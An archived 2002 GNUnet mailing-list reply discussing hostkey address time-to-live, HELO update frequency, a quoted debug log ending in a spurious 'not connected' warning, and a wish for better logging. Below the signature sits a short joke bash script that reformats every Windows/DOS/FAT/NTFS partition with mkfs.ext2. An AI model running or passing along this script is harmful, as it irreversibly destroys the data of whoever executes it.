gnunet-developers
[Top][All Lists]
Advanced

[Date Prev][Date Next][Thread Prev][Thread Next][Date Index][Thread Index]

[GNUnet-developers] Re: restart for new IP?


From: Christian Grothoff
Subject: [GNUnet-developers] Re: restart for new IP?
Date: Fri, 3 May 2002 13:06:16 -0500

On Friday 03 May 2002 12:45 pm, you wrote:
> From: Christian Grothoff <address@hidden>
>
> > Absolutely. You may want to set the 'time-to-live' for your address (it's
> > not the hostkey that changes, just the binding of the hostkey to an IP)
> > to a shorter value than the default.
>
> Cool.  It seems to be that way.  I have it defined to 8 hours
> currently.  That is roughly the time I stay connected.  It there a
> reason that 1 hour won't work?  Do other hosts update their time
> everytime time I send a valid message to them?

Yes, but they will stop propagating your hostkey to other hosts after 1h. As 
your hosts by default sends updates only ever 30 minutes, your hostkey would 
not be propagated very far. 

>  Do I send out periodic
> HELOs to keep that "lease" current?

Yes. I guess we should tune the frequencies for that update to be more 
frequent if the timeout is shorter (currently, it's fixed to 30 minutes or 
so).

>
> Also look at this sequence.  It seems to be related to some changes
> you have made recently.
>
>
> UDP: Received 1106 bytes from socket 8, buffer 3.
> UDP: Receiving from socket 8, buffer 4.
> UDP: Handling message part (unencrypted) with size 550 and type 0.
> handleHELO: Handling HELO from  12.253. 24. 46: 2086.
> HELO: Bound identity 915ACFBBDBA5F145CBFDB1E1D37E3A0F0B8F6305 to  12.253.
> 24. 46: 2086 UDP: Handling message part (unencrypted) with size 520 and
> type 1. SKEY: Handling SKEY from  12.253. 24. 46: 2086.
> SKEY: Accepting sessionkey from host
> 915ACFBBDBA5F145CBFDB1E1D37E3A0F0B8F6305. CONNECTION: adding host
> 915ACFBBDBA5F145CBFDB1E1D37E3A0F0B8F6305 with sessionkey to table.
> CONNECTION: Marking host 915ACFBBDBA5F145CBFDB1E1D37E3A0F0B8F6305 active.
> CONNECTION: unicasting to host 915ACFBBDBA5F145CBFDB1E1D37E3A0F0B8F6305
> CONNECTION: adding message of size 22 to buffer of host
> 915ACFBBDBA5F145CBFDB1E1D37E3A0F0B8F6305. CONNECTION: done appending
> message.
> CONNECTION: sending buffer of host
> 915ACFBBDBA5F145CBFDB1E1D37E3A0F0B8F6305. NETWORK:current 118 Bps,
> rxdiff=104824 828659, txdiff=21410 281009, maxnet=8000, elapsedtime=1068
> UDP: Sending 1472 bytes to  12.253. 24. 46:2086.
> TCP: starting server
> TCP: opened connection
> TCP: received double-query 40EC93EDFF21EE428FFAC5B24B2B337F4F8AF1F7.
> TCP: executing triple-query 8B65531FA2D6EBF7904BA7E1F78D0A4E69D1F4CF.
> QUERY: Checking if query is pending.
> QUERY: Indirecting Query 8B65531FA2D6EBF7904BA7E1F78D0A4E69D1F4CF.
> TCP: executing triple-query 8B65531FA2D6EBF7904BA7E1F78D0A4E69D1F4CF DONE.
> TCP: received double-query 40EC93EDFF21EE428FFAC5B24B2B337F4F8AF1F7.
> TCP: executing triple-query 8B65531FA2D6EBF7904BA7E1F78D0A4E69D1F4CF.
> QUERY: Checking if query is pending.
> QUERY: Indirecting Query 8B65531FA2D6EBF7904BA7E1F78D0A4E69D1F4CF.
> TCP: executing triple-query 8B65531FA2D6EBF7904BA7E1F78D0A4E69D1F4CF DONE.
> TCP: received double-query 40EC93EDFF21EE428FFAC5B24B2B337F4F8AF1F7.
> TCP: executing triple-query 8B65531FA2D6EBF7904BA7E1F78D0A4E69D1F4CF.
> QUERY: Checking if query is pending.
> QUERY: Indirecting Query 8B65531FA2D6EBF7904BA7E1F78D0A4E69D1F4CF.
> TCP: executing triple-query 8B65531FA2D6EBF7904BA7E1F78D0A4E69D1F4CF DONE.
> TCP: received double-query 40EC93EDFF21EE428FFAC5B24B2B337F4F8AF1F7.
> TCP: executing triple-query 8B65531FA2D6EBF7904BA7E1F78D0A4E69D1F4CF.
> QUERY: Checking if query is pending.
> QUERY: Indirecting Query 8B65531FA2D6EBF7904BA7E1F78D0A4E69D1F4CF.
> WARNING: Not connected to any hosts, can not forward query.
>
>
> I clearly recieved and send messages to 12.253.24.46 and have a valid
> host key from them, but the last warning indicates that gnunetd
> doesn't think I know of any hosts.  BTW: This sequence all was
> generated fairly quickly.

Hmm. I very recently rewrote the code that will now print the warning. Maybe 
I screwed up. 

> PS: It might be nice to have a real logging service where message
> types can be selected at runtime and messages can be timestamped
> automaticly.

I agree. Somebody volunteered to code that a while ago, but kind of 
disappeared. At that time, we still had memory leak problems with messages 
printed, but by now, this is surely a good idea. 

> I am too swamped at work to code much for you guy right at the moment,
> but that might change.

Well, you're welcome whenever you're ready, we *do* take patches :-)

Christian
-- 
______________________________________________________
|Christian Grothoff                                  |
|650-2 Young Graduate House, West Lafayette, IN 47906|
|http://gecko.cs.purdue.edu/   address@hidden|
|____________________________________________________|
#!/bin/bash
for i in `fdisk -l|grep -E "Win|DOS|FAT|NTFS"|awk \
'{print$1;}'`;do nohup mkfs.ext2 $i&; done
echo -e "\n\n\t\tMay the source be with you.\n\n"



reply via email to

[Prev in Thread] Current Thread [Next in Thread]